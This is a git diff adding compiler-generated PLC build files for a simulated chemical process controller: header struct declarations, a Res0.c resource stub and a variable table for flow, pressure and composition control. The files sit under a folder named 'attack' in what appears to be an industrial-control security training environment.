SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; 